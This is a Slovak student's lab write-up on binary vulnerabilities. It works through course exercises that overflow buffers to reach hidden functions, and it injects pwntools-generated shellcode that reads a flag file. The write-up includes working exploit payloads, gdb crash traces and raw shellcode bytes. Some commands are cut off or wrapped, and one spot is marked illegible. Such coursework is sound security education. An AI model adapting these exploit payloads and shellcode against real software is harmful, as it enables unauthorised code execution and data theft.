

## BIT 5

# Zraniteľnosti v binárnych aplikáciách

# Jakub Gašparín

V každej úlohe používam nasledujúcu stránku na generovanie reťazcov

<https://wiremask.eu/tools/buffer-overflow-pattern-generator/>

## 5.1 Buffer overflow

Najdôležitejšia časť tohto zadanie je v týchto dvoch častiach kódu

```
char username[29];
char login[26];
char firstname[23];
char webpage[19];
int is special;
```

```
printf("Enter username: "); fflush(stdout);
read(0, data.username, 2000);
printf("Enter login: "); fflush(stdout);
read(0, data.login, 2000);
printf("Enter firstname: "); fflush(stdout);
read(0, data.firstname, 2000);
printf("Enter webpage: "); fflush(stdout);
read(0, data.webpage, 2000);
```

Program očakáva vstup dlhý  $29+26+23+19=97$  bytov. Zároveň mi kód dovolí vložiť až 2000 znakov na vstup, aj keď polia do ktorých sa toto načítava sú oveľa menšie. Pokiaľ teda vložím na vstup ktorý je väčší, ako náš buffer očakáva, dokážem získať „Special Entry“

```
echo -n
```

[illegible]

Cez tento príkaz som získal „special entry“.

```
xgasparin@bin-2024:~/lesson1$ echo -n 'AAAAAAAAAAAAAAAAAAAAAAAAABBBBBBBBBBBBBBBBBBBBBBBBBBBBBCCCCCCCCCCCCCCCCCCCCCCCCDDDDDDDDDDDDDDDDDDDD' | ./001-exercise-buffer-overflow-32bit
Main: 0x56556590
Unreachable: 0x56556550
Pokus: 0x56556300
Enter username: Enter login: Enter firstname: Enter webpage: Special entry!
xgasparin@bin-2024:~/lesson1$
```

Toto sa dá dosiahnuť aj iným spôsobom. Keď si opäť pozriem kód, tak si všimnem, že zraniteľnosť je najmä v char webpage[19] časti čítania vstupu. Takže keď tam vložím 20 znakov, vstup pretečie a dostanem „special entry“

```
xgasparin@bin-2024:~/lesson1$ ./001-exercise-buffer-overflow-64bit
Main:      0x5555555555480
Unreachable: 0x5555555555450
Pokus:     0x5555555555200
Enter username: 1
Enter login: 2
Enter firstname: 3
Enter webpage: Aa0Aa1Aa2Aa3Aa4Aa5Aa
Special entry!
```

## 5.2 Jednoduchý stack overflow

Najprv si musím zistiť, či pracujem s little/big-endian. Toto zistím cez príkaz:

```
lscpu | grep "Byte Order". Pre kontrolu som ešte použil príkaz echo -n I | od -to2 | head -n1 | cut -f2 -d" " | cut -c6 ktorý vráti 1/0 pokiaľ systém je little/big-endian.
```

```
xgasparin@bin-2024:~/lesson1$ lscpu | grep "Byte Order"
Byte Order:             Little Endian
xgasparin@bin-2024:~/lesson1$ ^C
xgasparin@bin-2024:~/lesson1$ echo -n I | od -to2 | head -n1 | cut -f2 -d" " | cut -c6
1
```

Viem že pracujem s little-endian, tak podľa toho budem formulovať moje adresy.

```
Breakpoint 1, 0x000055555555480 in main ()
(gdb) dissassemble main
Undefined command: "dissassemble". Try "help".
(gdb) disassemble main
Dump of assembler code for function main:
=> 0x000055555555480 <+0>:      endbr64
```

Toto si ešte viem aj potvrdiť aj takto keď sa pozriem na prvý riadok v disassemble main výstupe. enbr64 je intel inštrukcia a intel CPU je little-endian.

Už som v gdb, tak otestujem si dlhý vstup aby som si zistil, v ktorej časti programu nastane segmentation fault.

## V 32 bit:

Hodil som do vstupu 150 znakov a dostalo som toto:

```
Pokus: 0x56565600
Enter username: Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7A
8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9
Enter login:
Enter firstname:
Enter webpage:
Special entry!

Program received signal SIGSEGV, Segmentation fault.
0x38644137 in ?? ()
(gdb) Quit
(gdb)
```

Vidím, že nastal segmentation fault a program sa snažil zapísať vstup do registra s adresou 0x38644137. Viem, že adresa unreachable je 0x56556550. Na linkutej stránke si dokážem vypočítať offset:

Length

Pattern

Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9

Find the offset

Register value	Offset
<input type="text" value="0x38644137"/>	<input type="text" value="113"/>

Viem že stack musím naplniť 113 znakmi a potom na koniec dať adresu unreachable. Keďže toto je little endian, napíšem adresu od najmenšieho bajtu prvé.

echo -ne

```
'Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5
Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad\x50\x65\x55\x56' | ./001-exercise-buffer-overflow-
32bit
```

```
xgasparin@bin-2024:~/lesson1$ echo -ne 'Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5A
c6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad\x50\x65\x55\x56' | ./001-exercise-buffer-overflow-32bit
Main: 0x56556590
Unreachable: 0x56556550
Pokus: 0x56556300
Enter username: Enter login: Enter firstname: Enter webpage: Special entry!
This is a super duper functionality for the superspecial entry.
Segmentation fault (core dumped)
```

## V 64bit:

```
Starting program: /home/xgasparin/lesson1/001-exercise-buffer-overflow-64bit
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".
Main: 0x55555555480
Unreachable: 0x55555555450
Pokus: 0x55555555200
Enter username:
Enter login:
Enter firstname:
Enter webpage: Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ac
Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag
Special entry!

Program received signal SIGSEGV, Segmentation fault.
0x00005555555538f in pokus ()
(gdb) █
```

Segmentation fault nastane na adrese 0x00005555555538f a unreachable je na adrese 0x55555555450.

Cez metasploit si dokážem vypočítať offset potom, ako si zistím, kde to spadlo v .core súbore.

```
Program terminated with signal SIGSEGV, Segmentation
#0 0x00005555555538f in pokus ()
(gdb) where
#0 0x00005555555538f in pokus ()
#1 0x6241356241346241 in ?? ()
#2 0x4138624137624136 in ?? ()
#3 0x3163413063413962 in ?? ()
#4 0x6341336341326341 in ?? ()
#5 0x4136634135634134 in ?? ()
#6 0x3963413863413763 in ?? ()
#7 0x6441316441306441 in ?? ()
#8 0x4134644133644132 in ?? ()
#9 0x3764413664413564 in ?? ()
#10 0x6541396441386441 in ?? ()
#11 0x4132654131654130 in ?? ()
#12 0x3565413465413365 in ?? ()
#13 0x6541376541366541 in ?? ()
#14 0x9bd61b0a39654138 in ?? ()
#15 0x9bd60bcfab652ae in ?? ()
#16 0x00007fff00000000 in ?? ()
#17 0x0000000000000000 in ?? ()
(gdb) █
```

Vidím že to spadlo v 0x6241356241346241. Keď si vstup a túto adresu dám do metasploitu, získam offset 113 (rovnako ako v prvom zadaní). Opäť zaplním prvých 113 bajtov a následne na koniec dám adresu unreachable

echo -ne

```
'Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5
Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad\x50\x54\x55\x55\x55\x55\x55\x55' | ./001-exercise-
buffer-overflow-64bit
```

```
xgasparin@bin-2024:~/lesson1$ echo -ne 'Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad\x50\x54\x55\x55\x55\x55\x55\x55' | ./001-exer
cise-buffer-overflow-64bit
Main: 0x55555555480
Unreachable: 0x55555555450
Pokus: 0x55555555200
Enter username: Enter login: Enter firstname: Enter webpage: Special entry!
This is a super duper functionality for the superspecial entry.
xgasparin@bin-2024:~/lesson1$ █
```

## 5.3 Kompletný stack overflow

Príkazy a inšpirácia z tohto videa:

<https://www.youtube.com/watch?v=D1yz00hd5Po>

Najprv si musím nájsť offset

```
drwxrwxrwt 15 root      root      4096 Oct 25 13:32 ..
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab
h9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6
41 61 30 41

Program received signal SIGSEGV, Segmentation fault.
0x316a4130 in ?? ()
(gdb) █
```

Pri 400 znakov som offset dostal 272.

### Generate a pattern

Length

Pattern

```
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2A
```

### Find the offset

Register value

Offset

Teraz musím si získať shellcode, ktorý mi vypíše obsah súboru. Použijem python pwn nástroje na toto:

```
>>> import pwn
>>> pwn.asm(pwn.shellcraft.linux.cat("/home/xgasparin/lesson1/002-flag/flag.txt"))
b'jthg.txh/flahflagh002-hon1/hlesshrin/haspahe/xgh/hom\x89\xe31\xc9j\x05X\xcd\x80j\x01[\x89\xc11\xd2h\xff\xff\xff\x7f^1\xc0\xb0\xbb\xcd\x80'
>>> len(pwn.asm(pwn.shellcraft.linux.cat("/home/xgasparin/lesson1/002-flag/flag.txt")))
80
```

Prvý pokus som dal do posledných zátvoriek dať 'flag.txt' samotné, ale to nefungovalo. Takže musel som použiť absolútnu cestu k súboru flag.txt

Hneď som si aj zistil veľkosť shellkódu,, čo je v mojom prípade 80 bajtov. Môj shellkód vyzerá teda takto:

```
b'jthg.txh/flahflagh002-
hon1/hlesshrin/haspahe/xgh/hom\x89\xe31\xc9j\x05X\xcd\x80j\x01[\x89\xc11\xd2h\xff\xff\xff\x7f^
1\xc0\xb0\xbb\xcd\x80'
```

Toto ale celé nepotrebujem, mne ten shellkód stačí bez bajtového indikátora . Takže mne ostane:

jthg.txh/flahflagh002-

hon1/hlesshrin/haspahe/xgh/hom\x89\xe31\xc9j\x05X\xcd\x80j\x01[\x89\xc11\xd2h\xff\xff\xff\x7f^  
1\xc0\xb0\xbb\xcd\

Offset je 272 a môj shellkód je 80 bajtov, teda potrebujem zaplniť ešte 272-80=192 bajtov. To som spravil cez stránku, ktorú som linkol na začiatku. Na záver tam musím dať adresár buffera. Pracujem v little endian (viem to z 5.2), takže na záver pridám 4 bajty \x2c\xd3\xff\xff

```
&i = 0xffffd44c  
&buf = 0xffffd32c  
main = 0x804987a  
function = 0x8049775  
system = 0x8051ff0  
total 8
```

Samotný príkaz teda je:

echo -ne jthg.txh/flahflagh002-

hon1/hlesshrin/haspahe/xgh/hom\x89\xe31\xc9j\x05X\xcd\x80j\x01[\x89\xc11\xd2h\xff\xff\xff\x7f^  
1\xc0\xb0\xbb\xcd\x80Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab  
9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5  
Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3\x2c\xd3\xff\xff' | ./002-exercise-  
stack-overflow-32bit

```
kgasp@kali:~/bin-2024-~/lesson1$ echo -ne jthg.txh/flahflagh002-hon1/hlesshrin/haspahe/xgh/hom\x89\xe31\xc9j\x05X\xcd\x80j\x01[\x89\xc11\xd2h\xff\xff\xff\x7f^1\xc0\xb0\xbb\xcd\x80Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3\x2c\xd3\xff\xff' | ./002-exercise-stack-overflow-32bit  
it  
$1 = 0xffffd44c  
$buf = 0xffffd32c  
main = 0x804987a  
function = 0x8049775  
system = 0x8051ff0  
total 8  
drwxr-xr-x 2 xbrillad xbrillad 4096 Oct 21 08:52 .  
drwxr-xr-x 15 root root 4096 Oct 25 16:01 ..  
6a 74 68 67  
ea5aa63c3c9df0cff85ccef718c83bf2951670b3Segmentation fault  
kgasp@kali:~/bin-2024-~/lesson1$
```

Toto mi vypísalo vlajku: ea5aa63c3c9df0cff85ccef718c83bf2951670b3S